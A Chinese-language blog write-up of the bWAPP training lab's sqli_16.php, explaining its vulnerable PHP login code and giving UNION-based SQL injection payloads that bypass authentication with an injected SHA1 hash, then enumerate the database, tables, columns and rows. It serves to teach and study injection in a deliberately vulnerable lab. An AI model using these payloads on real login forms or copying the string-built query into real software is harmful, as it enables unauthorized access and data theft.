php wapp,SQL注入之bWAPP之sqli_16.php

9ad8125b779bffb7b094a779f0115cbb.png

从第二行开始,$login参数接收传入的login,$password接收传入的password,sqli($password)这个是设置难度的,这里没有用,接着将password使用sha1方式hash,然后是SQL查询语句,只查询了login,接下来是第15行$recordset连接数据库并使用$sql的查询语句,在看if、else语句的else部分,第23行$row取出查询结果的一组作为关联数组,这点很重要,还有下面一点,第25行的判断句“if($row["login"] && $password == $row["password"])”,这里要使$row["login"]为真而且$password == $row["password"]),这要怎么弄呢,有方法,$row["login"]不是$login,而是查询后存放在$row的login的值,同理第9行$passwrod和hash值只要等于$row["password"]),所以可以构造SQL语句了,这里比较难受的问题是,你不知道字段数和login和password对应的字段的位置,所以我们需要黑白盒结合起来,打开数据库查询字段和位置,(代码在最后附上)如图:

748ccb9de120f4eb5912659ba0fab2fc.png

可以看到password在第三个字段处,我们让password的值为“1”,在线MD5一下,找到sha1对应的hash值为“356a192b7913b04c54574d18c28d46e6395428ab”,开始构造查询语句,输入“

form=submit

&login=‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+

&password=1

”,结果如图:

4d79a3d3b1f52ba3ef87f6da59ad820d.png

再详细说下原因:将“‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”赋给login,$sql就成了“$sql = "SELECT * FROM users WHERE login = ‘" ‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+"‘";”所以$recordset从数据库中搜索就有了返回值,即$row["login"]返回不为空,这里第一个条件就构成了。后面POST的“&password=1”,1的hash的值被我们添加到联合查询语句里了,这样返回的显示中就有1的hash值,即返回的查询有1的hash值,如此$row["password"]的值就是我们传入到password位置的1的hash值了,这样$password的值就等于$row["password"],所以第25行的if判断语句就为真了,是不是很有意思。

下面就是正常的SQL查询了,我也跟着在来一遍。

1、查询数据库等信息:

输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”,结果如图:

4c4c45f58f6112ea4c70a35ca6a8f966.png

2、查询表名:

输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,table_name,6,7,8,9 from information_schema.tables where table_schema=‘Bwapp‘ #+”,可以看见表名为“Blog”并且还有一个“wapp”数据库,可以自己尝试一下,结果如图:

6a45117f2b2c89f702f9e2eca065e13f.png

3、查询字段名:

输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,column_name,6,7,8,9 from information_schema.columns where table_name=‘Blog‘ #+”,结果如图:

cda2db08654d4208cbf685cd76b90263.png

4、查询字段的内容:

输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,id,6,7,8,9 from Blog #+”。

部分代码如下:

if(isset($_POST["form"]))

{

$login = $_POST["login"];

$login = sqli($login);

$password = $_POST["password"];

$password = sqli($password);

$password = hash("sha1", $password, false);

$sql = "SELECT * FROM users WHERE login = ‘" . $login . "‘";

// echo $sql;

$recordset = mysql_query($sql, $link);

if(!$recordset)

{

die("Error: " . mysql_error());

}

else

{

$row = mysql_fetch_array($recordset);

if($row["login"] && $password == $row["password"])

{

// $message = "Welcome " . ucwords($row["login"]) . "...";

$message = "

Welcome " . ucwords($row["login"]) . ", how are you today?

Your secret: " . ucwords($row["secret"]) . "

";

// $message = $row["login"];

}

else

{

$message = "Invalid credentials!";

}

}

mysql_close($link);

}

echo $message;

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值